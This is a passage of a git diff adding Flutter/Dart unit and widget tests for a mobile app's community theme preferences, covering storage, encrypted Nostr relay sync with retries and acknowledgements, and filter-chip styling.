+          home: const Scaffold(body: SizedBox()),
+        ),
+      );
+
+      final context = tester.element(find.byType(SizedBox));
+      expect(navigationPrimaryForeground(context), primaryForeground);
+      expect(navigationSecondaryForeground(context), secondaryForeground);
+      expect(navigationSectionForeground(context), secondaryForeground);
+      expect(navigationSearchSurface(context), searchSurface);
+      expect(
+        navigationDivider(context, 0.15),
+        primaryForeground.withValues(alpha: 0.15),
+      );
+    });
   });
 
   group('isBuzzTheme', () {
diff --git a/mobile/test/shared/theme/community_theme_preference_test.dart b/mobile/test/shared/theme/community_theme_preference_test.dart
new file mode 100644
index 0000000000..ce6a2afaec
--- /dev/null
+++ b/mobile/test/shared/theme/community_theme_preference_test.dart
@@ -0,0 +1,123 @@
+import 'dart:convert';
+
+import 'package:buzz/shared/theme/theme.dart';
+import 'package:flutter/material.dart';
+import 'package:flutter_test/flutter_test.dart';
+import 'package:shared_preferences/shared_preferences.dart';
+
+void main() {
+  test('desktop v1 payload round-trips exactly', () {
+    final preference = CommunityThemePreference.fromJson({
+      'version': 1,
+      'theme': 'github-dark',
+      'accent': '#c0a2f1',
+      'followSystem': false,
+    });
+
+    expect(preference.mode, ThemeMode.dark);
+    expect(
+      jsonEncode(preference.toJson()),
+      '{"version":1,"theme":"github-dark","accent":"#c0a2f1","followSystem":false}',
+    );
+  });
+
+  test('rejects unknown themes, accents, and future versions', () {
+    for (final payload in [
+      {
+        'version': 2,
+        'theme': 'buzz',
+        'accent': '#3b82f6',
+        'followSystem': true,
+      },
+      {
+        'version': 1,
+        'theme': 'unknown',
+        'accent': '#3b82f6',
+        'followSystem': true,
+      },
+      {
+        'version': 1,
+        'theme': 'buzz',
+        'accent': '#000000',
+        'followSystem': true,
+      },
+    ]) {
+      expect(
+        () => CommunityThemePreference.fromJson(payload),
+        throwsFormatException,
+      );
+    }
+  });
+
+  test('storage is scoped by pubkey and normalized relay URL', () async {
+    SharedPreferences.setMockInitialValues({});
+    final prefs = await SharedPreferences.getInstance();
+    final storage = CommunityThemeStorage(prefs);
+    const a = CommunityThemePreference(
+      theme: 'buzz',
+      accent: '#3b82f6',
+      followSystem: true,
+    );
+    const b = CommunityThemePreference(
+      theme: 'dracula',
+      accent: '#ef4444',
+      followSystem: false,
+    );
+
+    await storage.write('pk', 'WSS://Relay.Example///', a);
+    await storage.write('pk', 'wss://other.example', b);
+
+    expect(storage.read('pk', 'wss://relay.example'), a);
+    expect(storage.read('pk', 'wss://other.example/'), b);
+    expect(storage.read('other-pk', 'wss://relay.example'), isNull);
+  });
+
+  test('dirty outbox survives restart and clears only exact ack', () async {
+    SharedPreferences.setMockInitialValues({});
+    final prefs = await SharedPreferences.getInstance();
+    final storage = CommunityThemeStorage(prefs);
+    const pending = CommunityThemePreference(
+      theme: 'dracula',
+      accent: '#ef4444',
+      followSystem: false,
+    );
+    const newer = CommunityThemePreference(
+      theme: 'houston',
+      accent: '#a855f7',
+      followSystem: false,
+    );
+
+    await storage.writeOutbox('pk', 'wss://relay.example', pending);
+    expect(
+      CommunityThemeStorage(prefs).readOutbox('pk', 'wss://relay.example'),
+      pending,
+    );
+    await storage.writeOutbox('pk', 'wss://relay.example', newer);
+    await storage.clearOutbox('pk', 'wss://relay.example', pending);
+    expect(storage.readOutbox('pk', 'wss://relay.example'), newer);
+    await storage.clearOutbox('pk', 'wss://relay.example', newer);
+    expect(storage.readOutbox('pk', 'wss://relay.example'), isNull);
+  });
+
+  test('legacy accent indexes migrate without inventing wire values', () async {
+    SharedPreferences.setMockInitialValues({
+      'buzz_theme_mode': 'dark',
+      'buzz_color_scheme': 'dracula',
+      'buzz_accent_color': 8,
+    });
+    final prefs = await SharedPreferences.getInstance();
+    final preference = CommunityThemeStorage(prefs).legacyPreference();
+
+    expect(
+      preference,
+      const CommunityThemePreference(
+        theme: 'dracula',
+        accent: 'neutral',
+        followSystem: false,
+      ),
+    );
+    expect(preference.mode, ThemeMode.dark);
+    expect(legacyAccentWireValue(6), '#a855f7');
+    expect(legacyAccentWireValue(7), '#6366f1');
+  });
+}
diff --git a/mobile/test/shared/theme/community_theme_provider_test.dart b/mobile/test/shared/theme/community_theme_provider_test.dart
new file mode 100644
index 0000000000..099ddd2f77
--- /dev/null
+++ b/mobile/test/shared/theme/community_theme_provider_test.dart
@@ -0,0 +1,311 @@
+import 'dart:async';
+import 'dart:convert';
+
+import 'package:buzz/shared/crypto/nip44.dart';
+import 'package:buzz/shared/relay/relay.dart';
+import 'package:buzz/shared/theme/theme.dart';
+import 'package:flutter_test/flutter_test.dart';
+import 'package:hooks_riverpod/hooks_riverpod.dart';
+import 'package:nostr/nostr.dart' as nostr;
+import 'package:shared_preferences/shared_preferences.dart';
+
+void main() {
+  test('delayed absence seeds the intervening local edit', () async {
+    SharedPreferences.setMockInitialValues({});
+    final prefs = await SharedPreferences.getInstance();
+    final keys = nostr.Keys.generate();
+    final history = Completer<List<NostrEvent>>();
+    final session = _ThemeRelaySession(
+      keys.nsec,
+      keys.public,
+      historyFuture: history.future,
+    );
+    final storage = CommunityThemeStorage(prefs);
+    final container = ProviderContainer(
+      overrides: [
+        communityThemeStorageProvider.overrideWithValue(storage),
+        relayConfigProvider.overrideWith(() => _RelayConfig(keys.nsec)),
+        relaySessionProvider.overrideWith(() => session),
+      ],
+    );
+    addTearDown(container.dispose);
+    container.listen(communityThemeProvider, (_, _) {}, fireImmediately: true);
+
+    container.read(communityThemeProvider.notifier).setTheme('dracula');
+    history.complete([]);
+    await _waitUntil(() => session.published != null);
+
+    expect(container.read(communityThemeProvider).theme, 'dracula');
+    expect(
+      storage.read(keys.public, 'https://relay.example')?.theme,
+      'dracula',
+    );
+  });
+
+  test('edit during delayed absence seed wins durable state', () async {
+    SharedPreferences.setMockInitialValues({});
+    final prefs = await SharedPreferences.getInstance();
+    final keys = nostr.Keys.generate();
+    final history = Completer<List<NostrEvent>>();
+    final session = _ThemeRelaySession(
+      keys.nsec,
+      keys.public,
+      historyFuture: history.future,
+    );
+    final storage = _DelayedThemeStorage(prefs);
+    final container = ProviderContainer(
+      overrides: [
+        communityThemeStorageProvider.overrideWithValue(storage),
+        relayConfigProvider.overrideWith(() => _RelayConfig(keys.nsec)),
+        relaySessionProvider.overrideWith(() => session),
+      ],
+    );
+    addTearDown(container.dispose);
+    container.listen(communityThemeProvider, (_, _) {}, fireImmediately: true);
+
+    history.complete([]);
+    await storage.cacheWriteStarted.future;
+    container.read(communityThemeProvider.notifier).setTheme('dracula');
+    storage.allowCacheWrite.complete();
+    storage.allowOutboxWrite.complete();
+    await _waitUntil(() => session.published != null);
+
+    expect(container.read(communityThemeProvider).theme, 'dracula');
+    expect(
+      storage.read(keys.public, 'https://relay.example')?.theme,
+      'dracula',
+    );
+    final privateHex = nostr.Nip19.decode(payload: keys.nsec).data;
+    final key = getConversationKey(privateHex, keys.public);
+    expect(
+      jsonDecode(nip44Decrypt(key, session.published!.content))['theme'],
+      'dracula',
+    );
+  });
+
+  test(
+    'local edit stays authoritative before persistence through exact ack',
+    () async {
+      SharedPreferences.setMockInitialValues({});
+      final prefs = await SharedPreferences.getInstance();
+      final keys = nostr.Keys.generate();
+      final session = _ThemeRelaySession(keys.nsec, keys.public);
+      final storage = _DelayedThemeStorage(prefs);
+      final container = ProviderContainer(
+        overrides: [
+          communityThemeStorageProvider.overrideWithValue(storage),
+          relayConfigProvider.overrideWith(() => _RelayConfig(keys.nsec)),
+          relaySessionProvider.overrideWith(() => session),
+        ],
+      );
+      addTearDown(container.dispose);
+
+      final subscription = container.listen(
+        communityThemeProvider,
+        (_, _) {},
+        fireImmediately: true,
+      );
+      addTearDown(subscription.close);
+      await session.subscribed.future;
+
+      final notifier = container.read(communityThemeProvider.notifier);
+      notifier.setTheme('dracula');
+      const local = CommunityThemePreference(
+        theme: 'dracula',
+        accent: '#3b82f6',
+        followSystem: true,
+      );
+      expect(container.read(communityThemeProvider), local);
+
+      session.emit(session.remoteEvent(theme: 'houston', id: 'remote-z'));
+      expect(container.read(communityThemeProvider), local);
+
+      storage.allowCacheWrite.complete();
+      await storage.outboxWriteStarted.future;
+      session.emit(session.remoteEvent(theme: 'solarized', id: 'remote-a'));
+      expect(container.read(communityThemeProvider), local);
+
+      storage.allowOutboxWrite.complete();
+      await _waitUntil(() => session.published != null);
+      expect(container.read(communityThemeProvider), local);
+
+      session.emit(session.published!);
+      await _pumpEventQueue();
+      expect(container.read(communityThemeProvider), local);
+      expect(storage.readOutbox(keys.public, 'https://relay.example'), isNull);
+    },
+  );
+
+  test(
+    'provider rebuild preserves delayed local edit and publishes on replacement manager',
+    () async {
+      SharedPreferences.setMockInitialValues({});
+      final prefs = await SharedPreferences.getInstance();
+      final keys = nostr.Keys.generate();
+      final session = _ThemeRelaySession(keys.nsec, keys.public);
+      final storage = _DelayedThemeStorage(prefs);
+      final container = ProviderContainer(
+        overrides: [
+          communityThemeStorageProvider.overrideWithValue(storage),
+          relayConfigProvider.overrideWith(() => _RelayConfig(keys.nsec)),
+          relaySessionProvider.overrideWith(() => session),
+        ],
+      );
+      addTearDown(container.dispose);
+      final subscription = container.listen(
+        communityThemeProvider,
+        (_, _) {},
+        fireImmediately: true,
+      );
+      addTearDown(subscription.close);
+      await session.subscribed.future;
+
+      container.read(communityThemeProvider.notifier).setTheme('dracula');
+      expect(container.read(communityThemeProvider).theme, 'dracula');
+      await storage.cacheWriteStarted.future;
+
+      session.setStatus(SessionStatus.reconnecting);
+      await _pumpEventQueue();
+      expect(container.read(communityThemeProvider).theme, 'dracula');
+      session.setStatus(SessionStatus.connected);
+      await _waitUntil(() => session.subscribeCalls == 2);
+      expect(container.read(communityThemeProvider).theme, 'dracula');
+
+      storage.allowCacheWrite.complete();
+      storage.allowOutboxWrite.complete();
+      await _waitUntil(() => session.published != null);
+
+      final privateHex = nostr.Nip19.decode(payload: keys.nsec).data;
+      final key = getConversationKey(privateHex, keys.public);
+      expect(
+        jsonDecode(nip44Decrypt(key, session.published!.content))['theme'],
+        'dracula',
+      );
+      expect(container.read(communityThemeProvider).theme, 'dracula');
+    },
+  );
+}
+
+class _DelayedThemeStorage extends CommunityThemeStorage {
+  _DelayedThemeStorage(super.prefs);
+
+  final allowCacheWrite = Completer<void>();
+  final allowOutboxWrite = Completer<void>();
+  final cacheWriteStarted = Completer<void>();
+  final outboxWriteStarted = Completer<void>();
+
+  @override
+  Future<bool> write(
+    String pubkey,
+    String relayUrl,
+    CommunityThemePreference preference,
+  ) async {
+    if (!cacheWriteStarted.isCompleted) cacheWriteStarted.complete();
+    await allowCacheWrite.future;
+    return super.write(pubkey, relayUrl, preference);
+  }
+
+  @override
+  Future<bool> writeOutbox(
+    String pubkey,
+    String relayUrl,
+    CommunityThemePreference preference,
+  ) async {
+    if (!outboxWriteStarted.isCompleted) outboxWriteStarted.complete();
+    await allowOutboxWrite.future;
+    return super.writeOutbox(pubkey, relayUrl, preference);
+  }
+}
+
+class _RelayConfig extends RelayConfigNotifier {
+  _RelayConfig(this.nsec);
+
+  final String nsec;
+
+  @override
+  RelayConfig build() =>
+      RelayConfig(baseUrl: 'https://relay.example', nsec: nsec);
+}
+
+class _ThemeRelaySession extends RelaySessionNotifier {
+  _ThemeRelaySession(this.nsec, this.pubkey, {this.historyFuture});
+
+  final String nsec;
+  final String pubkey;
+  final Future<List<NostrEvent>>? historyFuture;
+  final subscribed = Completer<void>();
+  int subscribeCalls = 0;
+  void Function(NostrEvent)? _listener;
+  NostrEvent? published;
+
+  @override
+  SessionState build() => const SessionState(status: SessionStatus.connected);
+
+  @override
+  Future<List<NostrEvent>> fetchHistory(
+    NostrFilter filter, {
+    Duration timeout = const Duration(seconds: 8),
+  }) async => historyFuture ?? [remoteEvent(theme: 'buzz', id: 'initial')];
+
+  @override
+  Future<void Function()> subscribe(
+    NostrFilter filter,
+    void Function(NostrEvent) onEvent, {
+    void Function(String message)? onClosed,
+  }) async {
+    subscribeCalls++;
+    _listener = onEvent;
+    if (!subscribed.isCompleted) subscribed.complete();
+    return () => _listener = null;
+  }
+
+  @override
+  Future<NostrEvent> publish(
+    NostrEvent event, {
+    Duration timeout = const Duration(seconds: 8),
+  }) async {
+    published = event;
+    return event;
+  }
+
+  void emit(NostrEvent event) => _listener?.call(event);
+
+  void setStatus(SessionStatus status) {
+    state = SessionState(status: status);
+  }
+
+  NostrEvent remoteEvent({required String theme, required String id}) {
+    final privateHex = nostr.Nip19.decode(payload: nsec).data;
+    final key = getConversationKey(privateHex, pubkey);
+    final preference = CommunityThemePreference(
+      theme: theme,
+      accent: '#3b82f6',
+      followSystem: true,
+    );
+    return NostrEvent(
+      id: id,
+      pubkey: pubkey,
+      createdAt: 1,
+      kind: 30078,
+      tags: const [
+        ['d', communityThemeDTag],
+        ['t', communityThemeDTag],
+      ],
+      content: nip44Encrypt(key, jsonEncode(preference.toJson())),
+      sig: 'sig',
+    );
+  }
+}
+
+Future<void> _pumpEventQueue() async {
+  await Future<void>.delayed(Duration.zero);
+  await Future<void>.delayed(Duration.zero);
+}
+
+Future<void> _waitUntil(bool Function() condition) async {
+  final deadline = DateTime.now().add(const Duration(seconds: 3));
+  while (!condition()) {
+    if (DateTime.now().isAfter(deadline)) fail('condition not met');
+    await Future<void>.delayed(const Duration(milliseconds: 5));
+  }
+}
diff --git a/mobile/test/shared/theme/community_theme_sync_test.dart b/mobile/test/shared/theme/community_theme_sync_test.dart
new file mode 100644
index 0000000000..fa65f0029e
--- /dev/null
+++ b/mobile/test/shared/theme/community_theme_sync_test.dart
@@ -0,0 +1,546 @@
+import 'dart:async';
+import 'dart:convert';
+
+import 'package:buzz/shared/relay/relay.dart';
+import 'package:buzz/shared/theme/theme.dart';
+import 'package:flutter_test/flutter_test.dart';
+
+void main() {
+  const local = CommunityThemePreference(
+    theme: 'buzz',
+    accent: '#3b82f6',
+    followSystem: true,
+  );
+
+  test('confirmed absence seeds exact NIP-78 coordinate', () async {
+    final session = _FakeSession();
+    final relay = _FakeSignedRelay();
+    final manager = _manager(session, relay);
+
+    final result = await manager.initialize();
+    expect(result.status, CommunityThemeRemoteStatus.absent);
+    manager.publish(local);
+    await manager.flush();
+
+    expect(relay.submissions, hasLength(1));
+    expect(relay.submissions.single.kind, 30078);
+    expect(
+      relay.submissions.single.tags,
+      containsAll(<List<String>>[
+        ['d', 'community-theme'],
+        ['t', 'community-theme'],
+      ]),
+    );
+    expect(jsonDecode(relay.submissions.single.content), local.toJson());
+  });
+
+  test(
+    'live replacement closes the history-to-subscription absence gap',
+    () async {
+      const replacement = CommunityThemePreference(
+        theme: 'dracula',
+        accent: '#ef4444',
+        followSystem: false,
+      );
+      final applied = <CommunityThemePreference>[];
+      late final _FakeSession session;
+      session = _FakeSession(
+        onFetchHistory: () {
+          session.emit(
+            _event(
+              id: 'replacement',
+              createdAt: 100,
+              content: jsonEncode(replacement.toJson()),
+            ),
+          );
+        },
+      );
+      final manager = _manager(
+        session,
+        _FakeSignedRelay(),
+        onRemote: (remote) => applied.add(remote.preference),
+      );
+
+      final result = await manager.initialize();
+
+      expect(session.subscribeCalls, 1);
+      expect(result.status, CommunityThemeRemoteStatus.valid);
+      expect(result.remote?.preference, replacement);
+      expect(applied, [replacement]);
+    },
+  );
+
+  test('invalid and unavailable records never seed', () async {
+    for (final session in [
+      _FakeSession(history: [_event(content: '{bad json')]),
+      _FakeSession(error: StateError('offline')),
+    ]) {
+      final relay = _FakeSignedRelay();
+      final result = await _manager(session, relay).initialize();
+      expect(
+        result.status,
+        anyOf(
+          CommunityThemeRemoteStatus.invalid,
+          CommunityThemeRemoteStatus.unavailable,
+        ),
+      );
+      expect(relay.submissions, isEmpty);
+    }
+  });
+
+  test(
+    'newest valid event wins with deterministic same-second ordering',
+    () async {
+      final applied = <CommunityThemePreference>[];
+      final session = _FakeSession(
+        history: [
+          _event(
+            id: 'z',
+            createdAt: 50,
+            content: jsonEncode(
+              const CommunityThemePreference(
+                theme: 'dracula',
+                accent: '#ef4444',
+                followSystem: false,
+              ).toJson(),
+            ),
+          ),
+          _event(id: 'a', createdAt: 50, content: jsonEncode(local.toJson())),
+        ],
+      );
+      final manager = _manager(
+        session,
+        _FakeSignedRelay(),
+        onRemote: (r) => applied.add(r.preference),
+      );
+
+      await manager.initialize();
+      expect(applied.single.theme, 'buzz');
+
+      session.emit(
+        _event(
+          id: 'z',
+          createdAt: 50,
+          content: jsonEncode(
+            const CommunityThemePreference(
+              theme: 'dracula',
+              accent: '#ef4444',
+              followSystem: false,
+            ).toJson(),
+          ),
+        ),
+      );
+      expect(applied, hasLength(1));
+    },
+  );
+
+  test('remote hydration never cancels a newer pending local write', () async {
+    final relay = _FakeSignedRelay();
+    final session = _FakeSession();
+    final manager = _manager(session, relay);
+    await manager.initialize();
+    manager.cancelPending();
+    manager.publish(
+      const CommunityThemePreference(
+        theme: 'dracula',
+        accent: '#ef4444',
+        followSystem: false,
+      ),
+    );
+
+    session.emit(
+      _event(id: 'remote', createdAt: 100, content: jsonEncode(local.toJson())),
+    );
+    await manager.flush();
+    expect(relay.submissions, hasLength(1));
+    expect(jsonDecode(relay.submissions.single.content)['theme'], 'dracula');
+
+    manager.publish(local);
+    manager.dispose();
+    await manager.flush();
+    expect(relay.submissions, hasLength(1));
+  });
+
+  test(
+    'relay CLOSED resubscribes then catches up latest replacement event',
+    () async {
+      final applied = <CommunityThemePreference>[];
+      final session = _FakeSession();
+      final manager = _manager(
+        session,
+        _FakeSignedRelay(),
+        onRemote: (remote) => applied.add(remote.preference),
+      );
+      await manager.initialize();
+      manager.cancelPending();
+      expect(session.subscribeCalls, 1);
+
+      const replacement = CommunityThemePreference(
+        theme: 'dracula',
+        accent: '#ef4444',
+        followSystem: false,
+      );
+      session.history = [
+        _event(
+          id: 'replacement',
+          createdAt: 100,
+          content: jsonEncode(replacement.toJson()),
+        ),
+      ];
+      session.closeLiveSubscription('rate-limited: quota exceeded');
+
+      await _waitUntil(() => session.subscribeCalls == 2 && applied.isNotEmpty);
+      expect(applied.single, replacement);
+      expect(session.activeListeners, 1);
+      manager.dispose();
+    },
+  );
+
+  test('relay CLOSED after dispose never resubscribes', () async {
+    final session = _FakeSession();
+    final manager = _manager(session, _FakeSignedRelay());
+    await manager.initialize();
+    final close = session.latestClosedCallback;
+
+    manager.dispose();
+    close?.call('late close');
+    await Future<void>.delayed(const Duration(milliseconds: 20));
+
+    expect(session.subscribeCalls, 1);
+  });
+
+  test('publish failure retries and acknowledges exact preference', () async {
+    final relay = _FakeSignedRelay(failuresRemaining: 1);
+    final acknowledgements = <CommunityThemePreference>[];
+    final manager = _manager(
+      _FakeSession(),
+      relay,
+      onPublished: acknowledgements.add,
+    );
+    manager.publish(local);
+    await manager.flush();
+    expect(manager.pending, local);
+
+    await _waitUntil(() => acknowledgements.length == 1);
+    expect(relay.attempts, 2);
+    expect(manager.pending, isNull);
+    expect(acknowledgements, [local]);
+  });
+
+  test('serializes in-flight publish before latest edit', () async {
+    final firstSubmission = Completer<void>();
+    final relay = _FakeSignedRelay(firstSubmissionGate: firstSubmission.future);
+    final manager = _manager(_FakeSession(), relay);
+    const latest = CommunityThemePreference(
+      theme: 'dracula',
+      accent: '#ef4444',
+      followSystem: false,
+    );
+
+    manager.publish(local);
+    final firstFlush = manager.flush();
+    await _waitUntil(() => relay.attempts == 1);
+    manager.publish(latest);
+    await manager.flush();
+    expect(relay.attempts, 1);
+
+    firstSubmission.complete();
+    await firstFlush;
+    await _waitUntil(() => relay.attempts == 2);
+
+    expect(relay.submittedEvents, hasLength(2));
+    expect(
+      relay.submittedEvents[1].createdAt,
+      greaterThan(relay.submittedEvents[0].createdAt),
+    );
+    expect(jsonDecode(relay.submissions[1].content)['theme'], 'dracula');
+    expect(manager.pending, isNull);
+  });
+
+  test(
+    'republishes above remote observed while publish is in flight',
+    () async {
+      final firstSubmission = Completer<void>();
+      final relay = _FakeSignedRelay(
+        firstSubmissionGate: firstSubmission.future,
+      );
+      final session = _FakeSession();
+      final acknowledgements = <CommunityThemePreference>[];
+      final manager = _manager(
+        session,
+        relay,
+        onPublished: acknowledgements.add,
+      );
+      await manager.initialize();
+      manager.publish(local);
+      final firstFlush = manager.flush();
+      await _waitUntil(() => relay.attempts == 1);
+
+      session.emit(
+        _event(
+          id: 'remote-winner',
+          createdAt: 2000000000,
+          content: jsonEncode(
+            const CommunityThemePreference(
+              theme: 'dracula',
+              accent: '#ef4444',
+              followSystem: false,
+            ).toJson(),
+          ),
+        ),
+      );
+      firstSubmission.complete();
+      await firstFlush;
+
+      expect(acknowledgements, isEmpty);
+      expect(manager.pending, local);
+      await _waitUntil(() => relay.attempts == 2);
+      expect(relay.submittedEvents[1].createdAt, 2000000001);
+      expect(acknowledgements, [local]);
+      expect(manager.pending, isNull);
+    },
+  );
+
+  test('remote coordinate advances pending local publish timestamp', () async {
+    final relay = _FakeSignedRelay();
+    final session = _FakeSession();
+    final manager = _manager(session, relay);
+    await manager.initialize();
+    manager.publish(local);
+
+    session.emit(
+      _event(
+        id: 'remote',
+        createdAt: 2000000000,
+        content: jsonEncode(local.toJson()),
+      ),
+    );
+    await manager.flush();
+
+    expect(relay.submittedEvents.single.createdAt, 2000000001);
+  });
+
+  test(
+    'remote replacement invalidates A to B to A no-op suppression',
+    () async {
+      final relay = _FakeSignedRelay();
+      final session = _FakeSession();
+      final manager = _manager(session, relay);
+      await manager.initialize();
+      manager.publish(local);
+      await manager.flush();
+
+      const remotePreference = CommunityThemePreference(
+        theme: 'dracula',
+        accent: '#ef4444',
+        followSystem: false,
+      );
+      session.emit(
+        _event(
+          id: 'remote',
+          createdAt: relay.submittedEvents.single.createdAt + 1,
+          content: jsonEncode(remotePreference.toJson()),
+        ),
+      );
+      manager.publish(local);
+      await manager.flush();
+
+      expect(relay.submissions, hasLength(2));
+      expect(manager.pending, isNull);
+    },
+  );
+
+  test(
+    'published coordinate rejects delayed same-second initialization result',
+    () async {
+      const stale = CommunityThemePreference(
+        theme: 'dracula',
+        accent: '#ef4444',
+        followSystem: false,
+      );
+      final history = Completer<List<NostrEvent>>();
+      final session = _FakeSession(historyFuture: history.future);
+      final relay = _FakeSignedRelay(eventId: 'published-a');
+      final applied = <CommunityThemePreference>[];
+      final manager = _manager(
+        session,
+        relay,
+        onRemote: (remote) => applied.add(remote.preference),
+      );
+
+      final initializing = manager.initialize();
+      manager.publish(local);
+      await manager.flush();
+      final createdAt = relay.submittedEvents.single.createdAt;
+      history.complete([
+        _event(
+          id: 'published-z',
+          createdAt: createdAt,
+          content: jsonEncode(stale.toJson()),
+        ),
+      ]);
+      await initializing;
+
+      expect(applied, isEmpty);
+      expect(manager.pending, isNull);
+    },
+  );
+}
+
+CommunityThemeSyncManager _manager(
+  _FakeSession session,
+  _FakeSignedRelay relay, {
+  void Function(RemoteCommunityTheme)? onRemote,
+  void Function(CommunityThemePreference)? onPublished,
+}) => CommunityThemeSyncManager(
+  pubkey: 'pk',
+  relaySession: session,
+  signedEventRelay: relay,
+  crypto: const CommunityThemeCrypto(encrypt: _identity, decrypt: _identity),
+  debounce: const Duration(days: 1),
+  publishRetryBase: const Duration(milliseconds: 1),
+  publishRetryMax: const Duration(milliseconds: 4),
+  subscriptionRetryBase: const Duration(milliseconds: 1),
+  onRemote: onRemote ?? (_) {},
+  onPublished: onPublished ?? (_) {},
+);
+
+String _identity(String value) => value;
+
+NostrEvent _event({
+  String id = 'event',
+  int createdAt = 1,
+  required String content,
+}) => NostrEvent(
+  id: id,
+  pubkey: 'pk',
+  createdAt: createdAt,
+  kind: 30078,
+  tags: const [
+    ['d', 'community-theme'],
+  ],
+  content: content,
+  sig: 'sig',
+);
+
+class _FakeSession extends RelaySessionNotifier {
+  _FakeSession({
+    List<NostrEvent> history = const [],
+    this.historyFuture,
+    this.error,
+    this.onFetchHistory,
+  }) : history = List.of(history);
+  List<NostrEvent> history;
+  final Future<List<NostrEvent>>? historyFuture;
+  final Object? error;
+  final void Function()? onFetchHistory;
+  int subscribeCalls = 0;
+  final List<void Function(NostrEvent)> _listeners = [];
+  final List<void Function(String)> _closedCallbacks = [];
+
+  int get activeListeners => _listeners.length;
+  void Function(String)? get latestClosedCallback =>
+      _closedCallbacks.isEmpty ? null : _closedCallbacks.last;
+
+  @override
+  Future<List<NostrEvent>> fetchHistory(
+    NostrFilter filter, {
+    Duration timeout = const Duration(seconds: 8),
+  }) async {
+    if (error != null) throw error!;
+    onFetchHistory?.call();
+    if (historyFuture != null) return historyFuture!;
+    return history;
+  }
+
+  @override
+  Future<void Function()> subscribe(
+    NostrFilter filter,
+    void Function(NostrEvent) onEvent, {
+    void Function(String)? onClosed,
+  }) async {
+    subscribeCalls++;
+    _listeners.add(onEvent);
+    _closedCallbacks.add(onClosed ?? (_) {});
+    return () {
+      final index = _listeners.indexOf(onEvent);
+      if (index < 0) return;
+      _listeners.removeAt(index);
+      _closedCallbacks.removeAt(index);
+    };
+  }
+
+  void emit(NostrEvent event) {
+    for (final listener in List.of(_listeners)) {
+      listener(event);
+    }
+  }
+
+  void closeLiveSubscription(String message) {
+    if (_listeners.isEmpty) return;
+    _listeners.removeAt(0);
+    _closedCallbacks.removeAt(0)(message);
+  }
+}
+
+Future<void> _waitUntil(
+  bool Function() condition, {
+  Duration timeout = const Duration(seconds: 2),
+}) async {
+  final deadline = DateTime.now().add(timeout);
+  while (!condition()) {
+    if (DateTime.now().isAfter(deadline)) {
+      fail('condition not met within $timeout');
+    }
+    await Future<void>.delayed(const Duration(milliseconds: 1));
+  }
+}
+
+class _Submission {
+  final int kind;
+  final String content;
+  final List<List<String>> tags;
+  const _Submission(this.kind, this.content, this.tags);
+}
+
+class _FakeSignedRelay implements SignedEventRelay {
+  _FakeSignedRelay({
+    this.failuresRemaining = 0,
+    this.eventId = 'event',
+    this.firstSubmissionGate,
+  });
+  int failuresRemaining;
+  final String eventId;
+  final Future<void>? firstSubmissionGate;
+  int attempts = 0;
+  final submissions = <_Submission>[];
+  final submittedEvents = <NostrEvent>[];
+  @override
+  String? get pubkey => 'pk';
+  @override
+  Future<NostrEvent> submit({
+    required int kind,
+    required String content,
+    required List<List<String>> tags,
+    int? createdAt,
+    void Function(NostrEvent)? onSigned,
+  }) async {
+    attempts++;
+    if (attempts == 1 && firstSubmissionGate != null) {
+      await firstSubmissionGate;
+    }
+    if (failuresRemaining > 0) {
+      failuresRemaining--;
+      throw StateError('publish failed');
+    }
+    submissions.add(_Submission(kind, content, tags));
+    final event = _event(
+      id: eventId,
+      content: content,
+      createdAt: createdAt ?? 0,
+    );
+    onSigned?.call(event);
+    submittedEvents.add(event);
+    return event;
+  }
+}
diff --git a/mobile/test/shared/theme/message_typography_test.dart b/mobile/test/shared/theme/message_typography_test.dart
index 169bcc0200..c5bec55556 100644
--- a/mobile/test/shared/theme/message_typography_test.dart
+++ b/mobile/test/shared/theme/message_typography_test.dart
@@ -130,6 +130,13 @@ void main() {
       lineHeight: 17,
       letterSpacing: 0,
     );
+    expectStyle(
+      filterChipTextStyle,
+      fontSize: 15,
+      fontWeight: FontWeight.w400,
+      lineHeight: 15,
+      letterSpacing: 0,
+    );
   });
 
   test('message and activity avatars use their surface sizes', () {
diff --git a/mobile/test/shared/widgets/filter_chip_bar_test.dart b/mobile/test/shared/widgets/filter_chip_bar_test.dart
index 6f651624b6..72040e5d86 100644
--- a/mobile/test/shared/widgets/filter_chip_bar_test.dart
+++ b/mobile/test/shared/widgets/filter_chip_bar_test.dart
@@ -39,10 +39,57 @@ void main() {
     final unselectedLabel = tester.widget<Text>(find.text('Following'));
     expect(selectedLabel.style?.fontSize, filterChipTextStyle.fontSize);
     expect(selectedLabel.style?.height, filterChipTextStyle.height);
+    expect(selectedLabel.style?.fontFamily, 'Inter');
     expect(selectedLabel.style?.fontWeight, FontWeight.w500);
     expect(unselectedLabel.style?.fontSize, filterChipTextStyle.fontSize);
     expect(unselectedLabel.style?.height, filterChipTextStyle.height);
     expect(unselectedLabel.style?.fontWeight, FontWeight.w400);
+    final chip = tester.widget<FilterChip>(
+      find.widgetWithText(FilterChip, 'Everyone'),
+    );
+    final shape = chip.shape! as RoundedRectangleBorder;
+    expect(shape.borderRadius, BorderRadius.circular(Radii.lg));
+    expect(chip.labelPadding, EdgeInsets.zero);
+  });
+
+  testWidgets('search labels are vertically centered in their chips', (
+    tester,
+  ) async {
+    await tester.pumpWidget(
+      MaterialApp(
+        theme: AppTheme.light(),
+        home: Scaffold(
+          body: SizedBox(
+            width: 390,
+            child: FilterChipBar<int>(
+              expandItems: true,
+              visualDensity: const VisualDensity(horizontal: -2),
+              chipVerticalPadding: Grid.xxs,
+              barVerticalPadding: Grid.twelve,
+              selected: 0,
+              onSelected: (_) {},
+              items: const [
+                FilterChipItem(id: 0, label: 'All'),
+                FilterChipItem(id: 1, label: 'Messages'),
+                FilterChipItem(id: 2, label: 'Channels'),
+                FilterChipItem(id: 3, label: 'People'),
+              ],
+            ),
+          ),
+        ),
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    for (final label in ['All', 'Messages', 'Channels', 'People']) {
+      final text = find.text(label);
+      final chip = find.ancestor(of: text, matching: find.byType(RawChip));
+      expect(chip, findsOneWidget);
+      expect(
+        tester.getCenter(text).dy,
+        closeTo(tester.getCenter(chip).dy, 0.01),
+      );
+    }
   });
 
   testWidgets('expanded chips preserve large accessible text scaling', (
@@ -81,7 +128,10 @@ void main() {
       ),
       findsNothing,
     );
-    expect(tester.getSize(find.text('Messages')).height, greaterThan(32));
+    expect(
+      tester.getSize(find.text('Messages')).height,
+      greaterThanOrEqualTo(30),
+    );
     expect(tester.takeException(), isNull);
   });
 }
